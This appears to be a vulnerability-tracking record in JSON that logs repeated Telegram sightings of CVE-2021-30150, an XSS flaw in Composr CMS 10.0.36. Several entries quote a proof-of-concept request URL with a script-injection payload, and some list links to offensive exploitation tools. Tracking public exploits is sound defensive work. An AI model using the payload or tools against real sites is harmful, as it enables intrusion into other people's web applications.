{"vulnerability": "CVE-2021-30150", "sightings": [{"uuid": "a688a033-2101-4ccf-b527-bbb86d2dacbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30150", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3093", "content": "#exploit\nCVE-2021-30150:\nComposr CMS 10.0.36 - Cross Site Scripting\nhttps://www.exploit-db.com/exploits/49749", "creation_timestamp": "2022-07-05T04:32:40.000000Z"}, {"uuid": "553a6b87-42d1-49a7-97cd-64d83877f557", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30150", "type": "seen", "source": "https://t.me/cissp/2928", "content": "exploit\nCVE-2021-30150:\nComposr CMS 10.0.36 - Cross Site Scripting (PoC)\nhttps://www.exploit-db.com/exploits/49749\n\nThreat Research:\nUEFI security, fuzzing, and exploitation:\ud83d\ude07\nPart 4 - The Hunt For the S3 Boot Script\nhttps://labs.sentinelone.com/adventures-from-uefi-land-the-hunt-for-the-s3-boot-script\n\nRed Team Tactics:\n1. A python script file to statically/dynamically investigate/analyse binary files for buffer overflow exploits\nhttps://github.com/BroadbentT/BINARY-MASTER\n2. A open-sourced ROBLOX exploit library\nhttps://github.com/iamtryingtofindname/Artemis\n3. DirTras is an automated directory/path traversal exploitation tool\nhttps://github.com/Nate-one/DirTras", "creation_timestamp": "2026-09-01T17:00:55.371537Z"}, {"uuid": "28ec08e6-2e33-4770-a08a-8baacb1060e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30150", "type": "seen", "source": "https://t.me/hacking_Attack/4060", "content": "Exploit Collector\nComposr CMS 10.0.36 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-TEKdvnpzXEU/WWlu-1G01LI/AAAAAAAAIJ8/FsoklfFFqiwHwKy6Rf6U36sgF7K28-hPgCLcBGAs/s1600/h118.png \nComposr CMS version 10.0.36 suffers from a cross site scripting vulnerability.\n\nMD5 | 7557702ccddf1edf3bec1d21a0ca5250\n\nDownload\n# Exploit Title: Composr CMS 10.0.36 - Cross Site Scripting\n# Date: 04/06/2021\n# Exploit Author: Orion Hridoy\n# Vendor Homepage: https://compo.sr/\n# Software Link: https://compo.sr/download.htm\n# Version: 10.0.36\n# Tested on: Windows/Linux\n# CVE : CVE-2021-30150\n\nVulnerable Endpoint:\nhttps://site.com/data/ajax_tree.php?hook=choose_gallery&id=&options=a:5:{s:21:\"must_accept_something\";b:1;s:6:\"purity\";b:0;s:14:\"addable_filter\";b:1;s:6:\"filter\";N;s:9:\"member_id\";N;}&default=<something:scriptalert(\"Hello\")\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:47.898771Z"}, {"uuid": "9d9ccd3a-314f-439e-95be-9bd2a20660f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30150", "type": "seen", "source": "https://t.me/hacking_Attack/4060", "content": "Exploit Collector\nComposr CMS 10.0.36 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-TEKdvnpzXEU/WWlu-1G01LI/AAAAAAAAIJ8/FsoklfFFqiwHwKy6Rf6U36sgF7K28-hPgCLcBGAs/s1600/h118.png \nComposr CMS version 10.0.36 suffers from a cross site scripting vulnerability.\n\nMD5 | 7557702ccddf1edf3bec1d21a0ca5250\n\nDownload\n# Exploit Title: Composr CMS 10.0.36 - Cross Site Scripting\n# Date: 04/06/2021\n# Exploit Author: Orion Hridoy\n# Vendor Homepage: https://compo.sr/\n# Software Link: https://compo.sr/download.htm\n# Version: 10.0.36\n# Tested on: Windows/Linux\n# CVE : CVE-2021-30150\n\nVulnerable Endpoint:\nhttps://site.com/data/ajax_tree.php?hook=choose_gallery&id=&options=a:5:{s:21:\"must_accept_something\";b:1;s:6:\"purity\";b:0;s:14:\"addable_filter\";b:1;s:6:\"filter\";N;s:9:\"member_id\";N;}&default=<something:scriptalert(\"Hello\")\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:24.069881Z"}, {"uuid": "cb775734-a404-4df4-94bc-7675ccfe5173", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30150", "type": "seen", "source": "https://t.me/cissp/2928", "content": "exploit\nCVE-2021-30150:\nComposr CMS 10.0.36 - Cross Site Scripting (PoC)\nhttps://www.exploit-db.com/exploits/49749\n\nThreat Research:\nUEFI security, fuzzing, and exploitation:\ud83d\ude07\nPart 4 - The Hunt For the S3 Boot Script\nhttps://labs.sentinelone.com/adventures-from-uefi-land-the-hunt-for-the-s3-boot-script\n\nRed Team Tactics:\n1. A python script file to statically/dynamically investigate/analyse binary files for buffer overflow exploits\nhttps://github.com/BroadbentT/BINARY-MASTER\n2. A open-sourced ROBLOX exploit library\nhttps://github.com/iamtryingtofindname/Artemis\n3. DirTras is an automated directory/path traversal exploitation tool\nhttps://github.com/Nate-one/DirTras", "creation_timestamp": "2026-09-02T01:04:45.948840Z"}, {"uuid": "921c17c4-00a6-49a1-94da-147b5e34a23a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30150", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/4060", "content": "Exploit Collector\nComposr CMS 10.0.36 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-TEKdvnpzXEU/WWlu-1G01LI/AAAAAAAAIJ8/FsoklfFFqiwHwKy6Rf6U36sgF7K28-hPgCLcBGAs/s1600/h118.png \nComposr CMS version 10.0.36 suffers from a cross site scripting vulnerability.\n\nMD5 | 7557702ccddf1edf3bec1d21a0ca5250\n\nDownload\n# Exploit Title: Composr CMS 10.0.36 - Cross Site Scripting\n# Date: 04/06/2021\n# Exploit Author: Orion Hridoy\n# Vendor Homepage: https://compo.sr/\n# Software Link: https://compo.sr/download.htm\n# Version: 10.0.36\n# Tested on: Windows/Linux\n# CVE : CVE-2021-30150\n\nVulnerable Endpoint:\nhttps://site.com/data/ajax_tree.php?hook=choose_gallery&id=&options=a:5:{s:21:\"must_accept_something\";b:1;s:6:\"purity\";b:0;s:14:\"addable_filter\";b:1;s:6:\"filter\";N;s:9:\"member_id\";N;}&default=<something:scriptalert(\"Hello\")\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-08T12:00:05.631489Z"}, {"uuid": "ed20c8b5-1e6f-448f-8d1b-ded2c003ab5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30150", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/4060", "content": "Exploit Collector\nComposr CMS 10.0.36 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-TEKdvnpzXEU/WWlu-1G01LI/AAAAAAAAIJ8/FsoklfFFqiwHwKy6Rf6U36sgF7K28-hPgCLcBGAs/s1600/h118.png \nComposr CMS version 10.0.36 suffers from a cross site scripting vulnerability.\n\nMD5 | 7557702ccddf1edf3bec1d21a0ca5250\n\nDownload\n# Exploit Title: Composr CMS 10.0.36 - Cross Site Scripting\n# Date: 04/06/2021\n# Exploit Author: Orion Hridoy\n# Vendor Homepage: https://compo.sr/\n# Software Link: https://compo.sr/download.htm\n# Version: 10.0.36\n# Tested on: Windows/Linux\n# CVE : CVE-2021-30150\n\nVulnerable Endpoint:\nhttps://site.com/data/ajax_tree.php?hook=choose_gallery&id=&options=a:5:{s:21:\"must_accept_something\";b:1;s:6:\"purity\";b:0;s:14:\"addable_filter\";b:1;s:6:\"filter\";N;s:9:\"member_id\";N;}&default=<something:scriptalert(\"Hello\")\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-09T00:00:31.485286Z"}, {"uuid": "e1301a2c-98ce-4617-aa05-fe60f788d4ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30150", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2928", "content": "exploit\nCVE-2021-30150:\nComposr CMS 10.0.36 - Cross Site Scripting (PoC)\nhttps://www.exploit-db.com/exploits/49749\n\nThreat Research:\nUEFI security, fuzzing, and exploitation:\ud83d\ude07\nPart 4 - The Hunt For the S3 Boot Script\nhttps://labs.sentinelone.com/adventures-from-uefi-land-the-hunt-for-the-s3-boot-script\n\nRed Team Tactics:\n1. A python script file to statically/dynamically investigate/analyse binary files for buffer overflow exploits\nhttps://github.com/BroadbentT/BINARY-MASTER\n2. A open-sourced ROBLOX exploit library\nhttps://github.com/iamtryingtofindname/Artemis\n3. DirTras is an automated directory/path traversal exploitation tool\nhttps://github.com/Nate-one/DirTras", "creation_timestamp": "2026-09-11T11:00:04.313625Z"}, {"uuid": "f308d06b-93df-46f5-aef8-40ffbd8badfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30150", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2928", "content": "exploit\nCVE-2021-30150:\nComposr CMS 10.0.36 - Cross Site Scripting (PoC)\nhttps://www.exploit-db.com/exploits/49749\n\nThreat Research:\nUEFI security, fuzzing, and exploitation:\ud83d\ude07\nPart 4 - The Hunt For the S3 Boot Script\nhttps://labs.sentinelone.com/adventures-from-uefi-land-the-hunt-for-the-s3-boot-script\n\nRed Team Tactics:\n1. A python script file to statically/dynamically investigate/analyse binary files for buffer overflow exploits\nhttps://github.com/BroadbentT/BINARY-MASTER\n2. A open-sourced ROBLOX exploit library\nhttps://github.com/iamtryingtofindname/Artemis\n3. DirTras is an automated directory/path traversal exploitation tool\nhttps://github.com/Nate-one/DirTras", "creation_timestamp": "2026-09-12T00:00:41.993871Z"}]}